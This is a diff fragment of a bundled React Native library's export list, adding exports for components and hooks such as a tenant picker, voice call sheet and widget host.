@@ -1858,13 +2526,20 @@ var styles11 = import_react_native12.StyleSheet.create({
1858
2526
  Plugin,
1859
2527
  PluginSurface,
1860
2528
  TableCardBlock,
2529
+ TenantPicker,
1861
2530
  TypingIndicator,
1862
2531
  UIActionsRow,
2532
+ VoiceCallSheet,
2533
+ WidgetHost,
1863
2534
  WidgetWebView,
1864
2535
  buildPluginBridgeJS,
2536
+ openWidget,
1865
2537
  setClipboardProvider,
2538
+ setPluginWebViewExtraHosts,
1866
2539
  setUIActionNavigator,
1867
2540
  useLightboxStore,
1868
- usePluginBridge
2541
+ usePluginBridge,
2542
+ useVoiceCall,
2543
+ useWidgetHostStore
1869
2544
  });
1870
2545
  //# sourceMappingURL=index.js.map